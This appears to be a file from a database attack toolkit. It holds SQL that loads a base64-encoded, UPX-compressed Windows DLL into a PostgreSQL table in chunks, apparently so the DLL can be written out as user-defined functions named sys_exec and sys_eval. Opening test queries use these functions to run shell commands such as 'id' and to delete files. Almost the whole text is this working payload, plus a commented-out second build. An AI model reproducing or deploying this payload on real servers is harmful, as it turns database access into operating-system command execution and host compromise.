-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres
SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@@ -0,0 +1,104 @@
-- Notes:
--
-- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- DLL compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- DLL compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- DLL compiled using PostgreSQL 8.3 C libraries
INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw';
UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c';
UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU';
UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C';
UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- DLL compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ';
-- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6';
-- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q';
-- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp';
-- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
